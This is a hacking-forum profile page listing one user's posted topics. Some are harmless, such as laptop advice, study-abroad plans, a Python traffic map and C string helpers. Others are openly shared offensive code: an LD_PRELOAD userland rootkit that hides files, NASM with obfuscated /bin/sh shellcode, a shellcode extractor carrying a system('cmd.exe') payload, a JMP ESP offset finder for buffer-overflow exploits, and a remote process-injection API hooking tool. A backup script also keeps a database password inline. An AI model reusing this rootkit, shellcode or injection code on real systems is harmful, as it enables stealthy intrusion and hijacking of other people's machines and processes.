Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.


Topics - ca0s

Pages: [1] 2
1
Hardware / Which laptop would you choose?
« on: December 07, 2013, 09:16:41 pm »
Hai EZ,

I'm getting a new laptop for christmas, so I'm trying to decide which one of these (in no particular order)

Code: [Select]
1 - http://www.pccomponentes.com/msi_gs70_stealth_2od_066es_i7_4700m_8gb_1tb_gtx765m_17_3_.html
8GB RAM
i7 4700MQ
1TB HD
Backlight keyboard
1400

Code: [Select]
2 - http://www.mountain.es/epages/Mountain.sf/es_ES/?ObjectPath=/Shops/Store.Mountain/Products/OMPSTUDIOMX_174G
i7 4700MQ
8GB RAM
750GB HD + 128GB SSD
1230

Expansion to 16GB RAM: 90

Code: [Select]
3 - http://www.pccomponentes.com/msi_gs70_2od_233es_i7_4700hq_16gb_1tb_256g_ssd_gtx765m_17_3_.html
i7 4700HQ
16GB RAM
1TB HD + 2 * 128 SSD RAID 0
Backlight keyboard
1700

Code: [Select]
4 - http://www.pccomponentes.com/msi_ge70_20e_079es_i7_4700mq_8gb_750gb_gtx765m_17_3___bundle.html
i7 4700MQ
8GB RAM
750GB HD
Backlight keyboard
1150

Code: [Select]
5 - http://www.pccomponentes.com/asus_n750jv_i7_4700hq_8gb_1tb_gt750_17_3_.html
i7 4700HQ
8GB RAM
1TB HD
1230

My first option was the MSI gs70 stealth (the 16GB version), but it is way too expensive. Also, I was leaning towards buying one with a SSD for the OS, but I never had one so idk if the speedup is worth it.

I think 8GB RAM would be enough to virtualize 2-3 machines smoothly (my dual core 4gb RAM dies with 2).

About the processor, is the HQ version of the 4700 worth the extra ~120? The only difference I find in their specs is that the HQ supports VT-d. But I'm not sure if standard virtualization software takes advantage of that.

And I don't really care about the GPU. I almost never play videogames.

Backlight keyboard would be cool, but it is not that important.

The Mountain has the advantage of being easily upgraded (I've read the MSI stealth is a pain to do so), so its my first  option.

What's your opinion, EZ? Also, If you know of a better laptop in that range, tell me, please.

2
General discussion / Erasmus countries
« on: December 19, 2012, 05:26:10 pm »
I'm planning to go for an Erasmus studentship the next year, and I would like to have some input from EZ members who are studying / will study  / have some knoweldge about CS bachelors' level on their countries (Europe).

The only limitation is the language: my destination university must offer classes in English.

My first option was Finland, but I could only validate like 1/3 of the year's amount of ECTS. And that would be like a lost year. So I discarded it.

Then I thought about Netherlands. I can validate almost all credits. But I haven't heard anything about their universities.

I have also considered the UK. I have not gathered info on this one yet.

So I have 4 options left (I have to put 6 universities in order of preference).

Any idea, suggestion, experience, etc? I would really appreciate it :)

3
Scripting Languages / [Python] Web traffic map
« on: December 09, 2012, 01:05:44 pm »
This is my first python script ever :P

I wanted to get a graphical view of the source of the web traffic of my server, and to try python.
First, I created the input file. Its format is

Code: [Select]
number_of_queries    IP
number_of_queries    IP

so:
Code: [Select]
cat access.log | cut -d" " -f 1 | sort | uniq -c | sort > file.txt

Then, I needed a blank world map. Its higher its resolution, the better. This was my biggest problem, with a lot of maps I was getting IPs geolocated to the middle of the ocean. Or mapping Madrid in France. After trying maps for a while, I found this one.

I also needed a geoip database.
Code: [Select]
wget -q http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz -O - | gunzip > /usr/share/GeoIP/GeoIPCountry.dat

This is the code:

Code: Python
  1. #!/usr/bin/python2
  2.  
  3. import sys
  4. import cairo
  5. import GeoIP
  6. import math
  7.  
  8. def draw_circle (cr, center, size):
  9.     cr.arc (center[0], center[1], size, 0, math.pi * 2)
  10.     cr.fill ()
  11.    
  12. def draw_line (cr, p_from, p_to):
  13.     cr.move_to (p_from[0], p_from[1])
  14.     cr.line_to (p_to[0], p_to[1])
  15.     cr.stroke ()
  16.    
  17. def fix_coord (point, zero):
  18.     x = zero[0] * point[0] / 180;
  19.     y = -zero[1] * point[1] / 90;
  20.     return (zero[0] + x, zero[1] + y);
  21.  
  22. if (len (sys.argv) < 2):
  23.         exit ()
  24.        
  25. my_ip = "208.89.214.47"
  26. gip = GeoIP.open ("/usr/share/GeoIP/GeoIPCountry.dat", GeoIP.GEOIP_STANDARD)
  27. info = gip.record_by_addr (my_ip)
  28. my_coords = [info['longitude'], info['latitude']]
  29.  
  30. f = open (sys.argv[1])
  31. l = f.readlines ()
  32. f.close ()
  33.  
  34. total = 0.0
  35. ips = []
  36.  
  37. for line in l:
  38.     ip = line.strip ().split (" ")
  39.     info = gip.record_by_addr (ip[1])
  40.     ip.append (info)
  41.     ips.append (ip)
  42.     total += float(ip[0])
  43.  
  44. src = cairo.ImageSurface.create_from_png ("./map.png")
  45. (width, height) = (src.get_width (), src.get_height ())
  46. zero = [width / 2, height / 2]
  47. cr = cairo.Context (src)
  48.  
  49. cr.set_antialias (cairo.ANTIALIAS_GRAY)
  50. cr.set_source (cairo.SolidPattern (0, 0, 0, 0.5))
  51. cr.set_line_width (0.1)
  52.  
  53. arc_min = width / 1000
  54.  
  55. for ip in ips:
  56.     try:
  57.         size = float(ip[0])/total
  58.         draw_line (cr,
  59.                 fix_coord (my_coords, zero),
  60.                 fix_coord ([ip[2]['longitude'], ip[2]['latitude']], zero))
  61.  
  62.         center = fix_coord ([ip[2]['longitude'], ip[2]['latitude']], zero)
  63.         draw_circle (cr, center, arc_min + size*10)
  64.     except:
  65.         pass
  66.  
  67. src.write_to_png ("traffic.png")
  68.  

And this is the result.

4
C - C++ / [C][Snippet] Userland LD_PRELOAD rootkit
« on: May 21, 2012, 09:45:10 pm »
I wrote this months ago and didn't finish it.

What is LD_PRELOAD?
It is an environment variable which tells the dynamic linker to load some libraries before the standard ones.

And what happens if your "preloaded" libraries contain some functions that already exist?
Your functions are loaded first. This can be useful for debugging, testing, tracking, or making an userland rootkit.

This simple example just tries to hide some files and folders. Is an example, it doesn't work very well (I didn't hook all of the functions that can be used for listing/opening).

rkit.c
Code: C
  1. #define _GNU_SOURCE
  2.  
  3. #include <sys/types.h>
  4. #include <sys/stat.h>
  5. #include <errno.h>
  6. #include <dirent.h>
  7. #include <dlfcn.h>
  8. #include <string.h>
  9. #include <libgen.h>
  10.  
  11. int is_file_hidden (const char *);
  12. int is_fold_hidden (const char *);
  13.  
  14. char *hidden_files[] = { "insanekit.so", "insanetest.txt", NULL };
  15. char *hidden_procs[] = { "insaneproc", NULL };
  16. char *hidden_folds[] = { "insanefolder", NULL };
  17.  
  18. int chmod(const char *file, mode_t mode)
  19. {
  20.     int (*chmod_orig)(const char *, mode_t);
  21.     chmod_orig = dlsym(RTLD_NEXT, "chmod");
  22.     return chmod_orig(file, mode);
  23. }
  24.  
  25. int readdir_r(DIR *dirp, struct dirent *entry, struct dirent **result)
  26. {
  27.     int (*readdir_r_orig)(DIR *, struct dirent *, struct dirent **);
  28.     readdir_r_orig = dlsym(RTLD_NEXT, "readdir");
  29.     return readdir_r_orig(dirp, entry, result);
  30. }
  31.  
  32. struct dirent *readdir(DIR *dirp)
  33. {
  34.     struct dirent * (*readdir_orig)(DIR *);
  35.     readdir_orig = dlsym(RTLD_NEXT, "readdir");
  36.     struct dirent *res = readdir_orig(dirp);
  37.    
  38.     if (res == NULL)
  39.         return res;
  40.    
  41.     if (is_file_hidden(res->d_name) || is_fold_hidden(res->d_name))
  42.         return readdir(dirp);
  43.    
  44.     return res;
  45. }
  46.  
  47. DIR *opendir(const char *name)
  48. {
  49.     DIR * (*opendir_orig)(const char *);
  50.    
  51.     if (is_fold_hidden(name)) {
  52.         errno = ENOTDIR;
  53.         return NULL;
  54.     }    
  55.  
  56.     opendir_orig = dlsym(RTLD_NEXT, "opendir");
  57.     return opendir_orig(name);
  58. }
  59.  
  60. int stat(const char * path, struct stat * buf)
  61. {
  62.     int (*stat_orig)(const char *, struct stat *);
  63.  
  64.     if (is_file_hidden(path) || is_fold_hidden(path)) {
  65.         errno = ENOENT;
  66.         return -1;
  67.     }
  68.    
  69.     stat_orig = dlsym(RTLD_NEXT, "stat");
  70.     return stat_orig(path, buf);    
  71. }
  72.  
  73. int lstat(const char * path, struct stat * buf)
  74. {
  75.     int (*lstat_orig)(const char *, struct stat *);
  76.  
  77.     if (is_file_hidden(path) || is_fold_hidden(path)) {
  78.             errno = ENOENT;
  79.             return -1;
  80.     }
  81.  
  82.     lstat_orig = dlsym(RTLD_NEXT, "lstat");
  83.     return lstat_orig(path, buf);
  84. }
  85.  
  86. int fopen(const char *path, const char *mode)
  87. {
  88.     int (*fopen_orig)(const char *, const char *);
  89.     if (is_file_hidden(path) || is_fold_hidden(path)) {
  90.         errno = ENOENT;
  91.         return 0;
  92.     }
  93.  
  94.     fopen_orig = dlsym(RTLD_NEXT, "fopen");
  95.     return fopen_orig(path, mode);
  96. }
  97.  
  98. int open(const char *file, const char *oflag, mode_t mode)
  99. {
  100.     int (*open_orig)(const char *, const char *, mode_t);
  101.     if (is_file_hidden(file) || is_fold_hidden(file)) {
  102.         errno = ENOENT;
  103.         return 0;
  104.     }
  105.  
  106.     open_orig = dlsym(RTLD_NEXT, "open");
  107.     return open_orig(file, oflag, mode);
  108. }
  109.  
  110. int is_file_hidden(const char *file)
  111. {
  112.     int i = 0;
  113.     while (hidden_files[i] != NULL) {
  114.         if (strcmp(hidden_files[i], basename((char *)file))==0)
  115.             return 1;
  116.         i++;
  117.     }
  118.     i = 0;
  119.     while (hidden_folds[i] != NULL) {
  120.         if (strcmp(hidden_folds[i], basename((char *)file))==0)
  121.             return 1;
  122.         i++;
  123.     }        
  124.     return 0;
  125. }
  126.  
  127. int is_fold_hidden(const char *folder)
  128. {
  129.     int i = 0;    
  130.     while (hidden_folds[i] != NULL) {
  131.         if (strcmp(basename(dirname((char *)folder)), hidden_folds[i])==0)
  132.             return 1;
  133.         i++;
  134.     }    
  135.     return 0;
  136. }
  137.  

Code: [Select]
[ca0s@st4ck-3rr0r RootKit]$ gcc -fPIC -ldl -shared -o my_libc.so rkit.c
[ca0s@st4ck-3rr0r RootKit]$ ls
insanefolder  insanetest.txt  jeje  my_libc.so  rkit.c  test  test.c
[ca0s@st4ck-3rr0r RootKit]$ export LD_PRELOAD=/home/ca0s/Codigos/RootKit/my_libc.so 
[ca0s@st4ck-3rr0r RootKit]$ ls
jeje  my_libc.so  rkit.c  test  test.c
[ca0s@st4ck-3rr0r RootKit]$

5
Found it on the Webs / So I heard you like public proxys
« on: March 30, 2012, 04:13:58 pm »

6
General discussion / Megaupload shut down by FBI
« on: January 19, 2012, 10:37:25 pm »
I'm really pissed off. The fuck, you mad, governors?

7
Assembly - Embedded / [NASM] Useless, but kicked boredom away
« on: September 02, 2011, 12:24:13 pm »
Code: [Select]
BITS 64
segment .text
global main
main:
jmp +6
mov rbx, 0x9090906e69622f68
jmp +6
mov rbx, 0x900000000cc48148
jmp +6
mov rbx, 0x9090900068732f68
jmp +6
mov rbx, 0x9000000004ec8148
jmp +6
mov rbx, 0x9090909090e78948
jmp +6
mov rbx, 0x9090909090f63148
jmp +6
mov rbx, 0x9090c03148d23148
jmp +6
mov rbx, 0x90050f0000003bb8
jmp +6
mov rbx, 0x9000000008c48148
xor rax, rax
ret

8
Scripting Languages / [Bash] Backup
« on: August 29, 2011, 06:11:44 pm »
Code: [Select]
#!/bin/sh
FECHA=`date +%d-%m-%Y--%H-%M`

#Cleanup
rm SQL.sql
rm SQL.sql.gpg

#Backup SQL
mysqldump -A -u root -pmypass  > SQL.sql
echo pass | gpg --passphrase-fd 0 -c SQL.sql

#Backup Web
tar vczf web.tgz /www/htdocs
echo pass | gpg --passphrase-fd 0 -c web.tgz

#Upload a FTP
ftp -n -v ftp.site.com << EOT
ascii
user ca0s pwd
prompt
cd ka0labs
mkdir $FECHA
cd $FECHA
put SQL.sql.gpg
put web.tgz.gpg
bye
EOT

#Cleanup
rm SQL.sql
rm SQL.sql.gpg
rm web.tgz
rm web.tgz.gpg

Is the first thing I make in bash. I needed it to make SQL/web backups in my VPS.

9
C - C++ / FindAddress
« on: May 21, 2011, 12:24:12 pm »
I think this was made by Rojodos.

Code: [Select]
#include <stdio.h>
#include <windows.h>
typedef VOID (*MYPROC)(LPTSTR);

int main (int argc, char **argv) {
    char dll[100];
    char funcion[100];
   
    HINSTANCE libreria;   
    MYPROC procadd;

    printf ("Finds offsets. First argument is DLL's name,\n");
    printf ("second one is the function's name inside that DLL.\n");
    printf ("Example: %s msvcrt.dll system\n\n", argv[0]);
   
    if (argc != 3){
        printf ("Not enough arguments.\n");
        return 1;
        }
       
    memset(dll,0,sizeof(dll));
    memset(funcion,0,sizeof(funcion));
   
    memcpy (dll, argv[1], strlen(argv[1]));
    memcpy (funcion, argv[2], strlen(argv[2]));
   
    libreria = LoadLibrary(dll);
    procadd = (MYPROC)GetProcAddress (libreria,funcion);
   
    printf ("Offset of %s in DLL %s es %x", funcion, dll, procadd);
   
    return 0;
   
    }

10
C - C++ / opCodePrint
« on: May 21, 2011, 12:21:29 pm »
I made this to easily get a shellcode in hexa format having its ASM code. The example shellcode is a system("cmd"). Change code in __asm(...) (leave those nops at the beginning and the end) with your own shellcode.

Code: [Select]
// OpCodePrint
//    By ca0s

#include <stdio.h>
//#include <windows.h>

void shellcode(void)
{
     __asm(
           // Don't remove this NOP
           "nop;"
           //
           //
           "push %ebp;"
           "mov %esp, %ebp;"
           "xor %edi, %edi;"
           "push %edi;"
           //
           //".byte 0xEB;"
           //".byte 0x01;"
           //".byte 0x83;"
           //
           "sub $0x04, %esp;"
           "movb $0x63, -8(%ebp);" //c
           "movb $0x6D, -7(%ebp);" //m
           "movb $0x64, -6(%ebp);" //d
           "movb $0x2E, -5(%ebp);" //.
           "movb $0x65, -4(%ebp);" //e
           "movb $0x78, -3(%ebp);" //x
           "movb $0x65, -2(%ebp);" //e
           "lea -8(%ebp), %eax;"
           "push %eax;"
           "movl $0x7573b16f, %ebx;"
           "call *%ebx;"
           //
           // Don't remove this NOP
           "nop;"
           //
           );
  return;
}

int main(void)
{
    //LoadLibrary("msvcrt.dll");
    printf("\nOpCodePrint by Ca0s\n\nchar shellcode[]=\"");
    int c=0;
    char *dirScode=(char *)shellcode;
    while((unsigned char)*dirScode != 0x90) dirScode++;
    while((unsigned char)*(dirScode + (++c))!=0x90) printf("\\x%.2X", (unsigned char)*(dirScode + c));
    printf("\";\n\nBytes: %d\n", (c-1));
    //shellcode();
    return;
}

11
C - C++ / FakeFinger
« on: May 13, 2011, 11:26:08 pm »
Finger was a tool/service used by hosts to prive information about their users. In the last years, it has been put off because it was a good point to begin with for hackers.
This afternoon I was bored and I coded a simple fake finger service which shows a finger to anyone fingering the host. This is it:

Code: [Select]
#include <stdlib.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

int main(int argc, char *argv[])
{
 
  char finger[]="\n\
  Servidor de Ca0s       /\"\\\n\
    [url=http://www.ka0labs.org]www.ka0labs.org[/url]     |\\./|\n\
                        |   |\n\
                        |   |\n\
                        |>~<|\n\
                        |   |\n\
                     /'\\|   |/'\\..\n\
  Insanity       /~\\|   |   |   | \\\n\
    for         |   =[@]=   |   |  \\\n\
     the        |   |   |   |   |   \\\n\
      win       | ~   ~   ~   ~ |`   )\n\
                |                   /\n\
                \\                 /\n\
                 \\               /\n\
                  \\    _____    /\n\
     Buscabas      |--//''`\\--|\n\
        algo?      | (( +==)) |\n\
                   |--\\_|_//--|\n\n\n";
 
  struct sockaddr_in data, con;
  memset(&data, 0, sizeof(data));
  data.sin_family=AF_INET;
  data.sin_port=htons(79);
  data.sin_addr.s_addr=INADDR_ANY;

  int s0ck=socket(AF_INET, SOCK_STREAM, 0);
  if(s0ck<0)
  {
printf("Error sock()\n");
return 0;
  }
  if(bind(s0ck, (struct sockaddr *)&data, sizeof(data))<0)
  {
printf("Error bind())\n");
return 0;
  }
  listen(s0ck, 5);
  int c0n=0;
  int cSize=sizeof(struct sockaddr_in);
  char buf[2]="\x00\x00";
  char ip[32];
  while(c0n=accept(s0ck, (struct sockaddr *)&con, &cSize))
  {
inet_ntop(AF_INET, &(con.sin_addr), &ip);
printf("[+] Access from %s\n", ip);
recv(c0n, buf, 1, 0);
send(c0n, finger, strlen(finger), 0);
close(c0n);
  }
  return 0;
}

12
C - C++ / [C][snippet] caesar cipher bruteforce
« on: May 10, 2011, 07:13:30 pm »
This was for a friend, nothing complex, just tries to decode a string with every possible alpha in the alphabet.

Code: [Select]
#include <stdio.h>

char *substr(char *str, int begin, int len)
{
    int strLen=strlen(str);
    if(strLen<begin) return str;
    if((len>strLen) || (len==0)) len=strLen;
    if((strLen-begin)<len) len=strLen-begin;
    str+=begin;
    char *ret=(char *)malloc(len+1);
    memset(ret, 0, len+1);
    strncpy(ret, str, len);
    return ret;
}

int main()
{
    char cifrado[]="khoor";
    int l3n=strlen(cifrado);
    char alf[]="abcdefghijklmnopqrstuvwxyz";
    int len=strlen(alf);
    char mut[len];
    char test[l3n];
    int i=0;
    int x=0;
    int z=0;
    for(i=0; i<26; i++)
    {
        printf("Salto: %i -> ", i);
        memset(&mut, 0, len);
        memset(&test, 0, l3n);
        strcat(mut, substr(alf, i, 0));
        strcat(mut, substr(alf, 0, i));
        for(x=0; x<l3n; x++)
        {
            if(cifrado[x]!=' ')
            {
                z=0;
                while(mut[z]!=cifrado[x]) z++;   
                test[x]=alf[z];   
            } 
        }
        test[x]=0x00;
        printf("%s\n", test);
        //if(strstr(test, "hola")) printf("Bruted: %d\n", i);
    }
   
    return 0;
}

13
Assembly - Embedded / [MASM32] FindJmp snippet
« on: April 08, 2011, 10:46:27 pm »
It was a test I made time ago, it may be interesting for someone. It finds JMP ESP offsets in a DLL.

Code: [Select]
.386
.model flat, stdcall
option casemap :none

include \masm32\include\psapi.inc
include \masm32\include\masm32rt.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\masm32.lib
includelib \masm32\lib\psapi.lib

Main PROTO

MODULEINFO STRUCT
    lpBaseOfDll DWORD ?
    SizeOfImage DWORD ?
    EntryPoint  DWORD ?
MODULEINFO ENDS

.data?
    HND     HANDLE ?
    MODL    HMODULE  ?
    MINFO   MODULEINFO <?>

.data
    DLL     db  "msvcrt.dll", 0     ; Change DLL name
    Err1    db  "Error1", 13, 0
    EspT    db  "JMP ESP -> ", 0
    NL      db  13, 10, 0

.code
start:
    invoke Main
    invoke ExitProcess, 0

    Main PROC
        invoke GetCurrentProcess
        mov HND, eax

        invoke LoadLibrary, offset DLL
        mov MODL, eax
        cmp eax, 0
        je Fin

        invoke GetModuleInformation, HND, MODL, OFFSET MINFO, 12
        cmp eax, 0
        je Fin

        mov ebx, MINFO.lpBaseOfDll
        mov edx, MINFO.SizeOfImage

        xor ecx, ecx
        Next:
            inc ecx
            cmp edx, ecx
            je Fin
            cmp byte ptr[ebx+ecx], 0FFh        ; JMP ESP
            jne Next
            cmp byte ptr[ebx+ecx+1], 0E4h
            jne Next

        push ecx
        add ecx, ebx
        push ecx
        invoke StdOut, addr EspT    ;
        pop ecx
        invoke StdOut, uhex$(ecx)
        invoke StdOut, addr NL
        je Rest
    Rest:
        pop ecx
        jmp Next

    Fin:
        ret

    Main ENDP

end start

14
C - C++ / [C] substr - str_replace - split functions
« on: April 04, 2011, 08:53:10 pm »
I coded them short time ago. The may have bugs, I have not tested them a lot.

substr:
Code: [Select]
char *substr(char *str, int begin, int len)
{
    int strLen=strlen(str);
    if(strLen<begin) return str;
    if((len>strLen) || (len==0)) len=strLen;
    if((strLen-begin)<len) len=strLen-begin;
    str+=begin;
    char *ret=(char *)malloc(len+1);
    memset(ret, 0, len+1);
    strncpy(ret, str, len);
    return ret;
}

str_replace:
Code: [Select]
char *str_replace(char *str, char *what, char *with)
{
    int strLen=strlen(str);
    int whatLen=strlen(what);
    int withLen=strlen(with);
    signed int delta=0;
    delta=withLen-whatLen;
    int n=0;
    char *foo=strstr(str, what);
    if(foo==NULL) return str;
    while(foo!=NULL)
    {
        foo=strstr(foo+whatLen, what);
        n++;
    }
    int newLen=strLen+(n*delta);
    char *res=(char *)malloc(newLen+1);
    memset(res, 0, newLen+1);
   
    foo=strstr(str, what);
    while(foo!=NULL)
    {
        strncat(res, str, foo-str);
        strcat(res, with);
        str=foo+whatLen;
        foo=strstr(str, what);               
    }
    strcat(res, str);
    return res;
}

split:
Code: [Select]
char **split(char *str, char *tok)
{
    // how many parts?
    int strLen=strlen(str);
    char *foo=strstr(str, tok);
    if(foo==NULL) return NULL;
    int n=0;
    while(foo!=NULL)
    {
        foo=strstr(foo+strlen(tok), tok);
        n++;               
    }
    char **res=(char **)malloc((n+1)*sizeof(char *));
    // First part
    foo=strstr(str, tok);
    *res=(char *)malloc(foo-str+1);
    memset(*res, 0, foo-str+1);
    strncpy(*res, str, foo-str);
    int i=1;
    // Middle parts
    str=foo+strlen(tok);
    for(i=1; i<n; i++)
    {
        foo=strstr(str, tok);
        *(res+i)=(char *)malloc(foo-str+1);
        memset(*(res+i), 0, foo-str+1);
        strncpy(*(res+i), str, foo-str);
        str=foo+strlen(tok);
    }
    // Last part
    i=0;
    while(*(str+i)!='\0') i++;
    *(res+n)=(char *)malloc(i+1);
    memset(*(res+n), 0, i+1);
    strncpy(*(res+n), str, i);
    // Lets run
    return res;
}

Example:
Code: [Select]
#include <stdio.h>
#include <ca0sStrFuncs.c>

int main()
{
    char test[]="This is only a test";
    printf("Test substr: %s\n", substr(test, 15, 0);
    printf("Test str_replace: %s\n", str_replace(str, "only", "just");
    char **res=split(test, " ");
    int i=0;
    while(res[i]!=NULL)
    {
        printf("%s\n", res[i]);
        i++;
    }
    return 0;
}

15
C - C++ / [C] Hook WinApi without DLL
« on: January 28, 2011, 05:01:52 pm »
This makes a hook to MessageBoxExA in the selected process.
To hook another API, just change values.

Code: [Select]
#include <stdio.h>
#include <windows.h>
#include <Tlhelp32.h>

void error(char *err);
static DWORD WINAPI hookear(LPVOID data);
static INT WINAPI hookFunc(HWND hwnd, LPCSTR tit, LPCSTR txt, UINT flag, WORD ww);
void foo(void);

HANDLE myProc=NULL;

typedef int (WINAPI *datLoadLibrary)(LPCTSTR);
typedef int (WINAPI *datGetProcAddress)(HMODULE, LPCSTR);

int main(int argc, char *argv[])
{
    if(argc<2) error("Usage: hook.exe PROCESO\n");
    struct {
       datLoadLibrary apiLoadLibrary;
       datGetProcAddress apiGetProcAddress;
       char libNames[5][16];
       char funNames[5][16];
       char MSG[50];
       void *hook;
       void *orApi;
       } thData;
    strcpy(thData.MSG, "Hi!");
    strcpy(thData.libNames[0], "User32.dll");
    strcpy(thData.libNames[1], "msvcrt.dll");
    strcpy(thData.libNames[2], "Kernel32.dll");
    strcpy(thData.funNames[0], "MessageBoxExA");
    strcpy(thData.funNames[1], "malloc");
    strcpy(thData.funNames[2], "memcpy");
    strcpy(thData.funNames[3], "VirtualProtect");
    strcpy(thData.funNames[4], "printf");
    thData.apiLoadLibrary=GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    thData.apiGetProcAddress=GetProcAddress(GetModuleHandle("kernel32.dll"), "GetProcAddress");

    HANDLE lista=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pInfo;
    BOOL st=TRUE;
    pInfo.dwSize=sizeof(PROCESSENTRY32);
    Process32First(lista, &pInfo);
    int myPid=0;
    do
    {
        if(strcmp(pInfo.szExeFile, argv[1])==0)
        {
            myPid=pInfo.th32ProcessID;
            break;
        }
        Process32Next(lista, &pInfo);
    }
    while(st!=FALSE);
   
    int hookSize=(int)&hookFunc - (int)&hookear;
    int reemSize=(int)&foo - (int)&hookFunc;
   
    printf("[+] Opening process %i\n", myPid);
    myProc=OpenProcess(PROCESS_ALL_ACCESS, FALSE, myPid);
    if(myProc==NULL) error("[-] Error opening process.\n");
    else printf("[+] Process opened.\n");
   
    SIZE_T written=0;
   
    LPVOID dirToHook=VirtualAllocEx(myProc, NULL, reemSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if(dirToHook==NULL) error("[-] Error allocating hooks function's memory .\n");
    else printf("[+] Memoria allocated for hook function (%i bytes).\n", reemSize);
   
    LPVOID dirToArg=VirtualAllocEx(myProc, NULL, sizeof(thData), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if(dirToArg==NULL) error("[-] Error allocating memory for arg.\n");
    else printf("[+] Memory allocated for arg (%i bytes).\n", sizeof(thData)); 
   
    DWORD prot;
    BYTE *funcDir=(BYTE *)&hookFunc;
    while(*(++funcDir) != 0x90);
    VirtualProtect((LPVOID)funcDir, 4, PAGE_EXECUTE_READWRITE, &prot);
    signed int *ddir=(signed int *)funcDir;
    *ddir=(signed int)dirToArg;         
   
    LPVOID dirToWrite=VirtualAllocEx(myProc, NULL, hookSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if(dirToWrite==NULL) error("[-] Error allocating main code's memory.\n");
    else printf("[+] Memoria allocated for main code (%i bytes).\n", hookSize);   

    if(WriteProcessMemory(myProc, dirToHook, (LPVOID)&hookFunc, reemSize, &written)==0) error("[-] Error writing hook function.\n");
    else printf("[+] Memory written (hook function %i bytes -> %.8X).\n", written, dirToHook);
    thData.hook=dirToHook;

    if(WriteProcessMemory(myProc, dirToArg, (LPVOID)&thData, sizeof(thData), &written)==0) error("[-] Error writing arg.\n");
    else printf("[+] Memory written (arg %i bytes -> %.8X).\n", written, dirToArg);
     
    if(WriteProcessMemory(myProc, dirToWrite, (LPVOID)&hookear, hookSize, &written) == 0) error("[-] Error writing main code.\n");
    else printf("[+] Memory written (code -> %.8X).\n", dirToWrite);
   
    HANDLE rThread=CreateRemoteThread(myProc, NULL, 0, (LPTHREAD_START_ROUTINE)dirToWrite, dirToArg, 0, NULL);
    if(rThread==NULL) error("[-] Error starting thread.\n");
    else printf("[+] Thread started.\n");
    CloseHandle(myProc);
   
    return 0;
}
   
void error(char *err)
{
     if(myProc!=NULL) CloseHandle(myProc);
     printf("%s", err);
     exit(0);
}

static DWORD WINAPI hookear(LPVOID data)
{
     struct {
         datLoadLibrary apiLoadLibrary;
         datGetProcAddress apiGetProcAddress;
         char libNames[5][16];
         char funNames[5][16];
         char MSG[50];
         void *hook;
         void *orApi;
     } *thData;
     thData=data;

     // Test Hook to MessageBoxA
     void *dirApi=(void *)thData->apiGetProcAddress((HANDLE)thData->apiLoadLibrary(thData->libNames[0]), thData->funNames[0]);
     // VirtualProtect
     BOOL WINAPI (*myVirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD) = (void *)thData->apiGetProcAddress((HANDLE)thData->apiLoadLibrary(thData->libNames[2]), thData->funNames[3]);
     // malloc
     void *(*myMalloc)(size_t) = (void *)thData->apiGetProcAddress((HANDLE)thData->apiLoadLibrary(thData->libNames[1]), thData->funNames[1]);
     // memcpy
     void *(*myMemcpy)(void *, const void*, size_t) = (void *)thData->apiGetProcAddress((HANDLE)thData->apiLoadLibrary(thData->libNames[1]), thData->funNames[2]);
     DWORD prot;
     BYTE *dirYo;
     dirYo=thData->hook;
     BYTE *buffer = (BYTE *)myMalloc(10);
     myVirtualProtect((void *)buffer, 12, PAGE_EXECUTE_READWRITE, &prot);
     myMemcpy(buffer, dirApi, 5);
     buffer+=5;
     *buffer=0xE9;
     buffer++;
     *((signed int *)buffer)=((BYTE *)dirApi+1)-buffer;
     myVirtualProtect((void *)dirApi, 5, PAGE_EXECUTE_READWRITE, &prot);
     *((BYTE *)dirApi)=0xE9;
     dirApi++;
     *((signed int *)dirApi)=dirYo - ((BYTE *)dirApi+4);
     thData->orApi=buffer-6;
     
     return;
}       

static INT WINAPI hookFunc(HWND hwnd, LPCSTR tit, LPCSTR txt, UINT flag, WORD ww)
{
     signed int dataDir=(signed int)0x90909090;               
     struct {
         datLoadLibrary apiLoadLibrary;
         datGetProcAddress apiGetProcAddress;
         char libNames[5][16];
         char funNames[5][16];
         char MSG[50];
         void *hook;
         void *orApi;
     } *thData;
     thData=(void*)dataDir;

     INT WINAPI (*realMbox)(HWND, LPCSTR, LPCSTR, UINT, WORD) = (void *)thData->orApi;
     return realMbox(hwnd, thData->MSG, thData->MSG, flag, ww);
}

void foo(void)
{
     return;
}

Pages: [1] 2


Intern0t SoldierX SecurityOverride programisiai
Want to be here? Contact Ande, Factionwars or Kulverstukas on the forum or at IRC.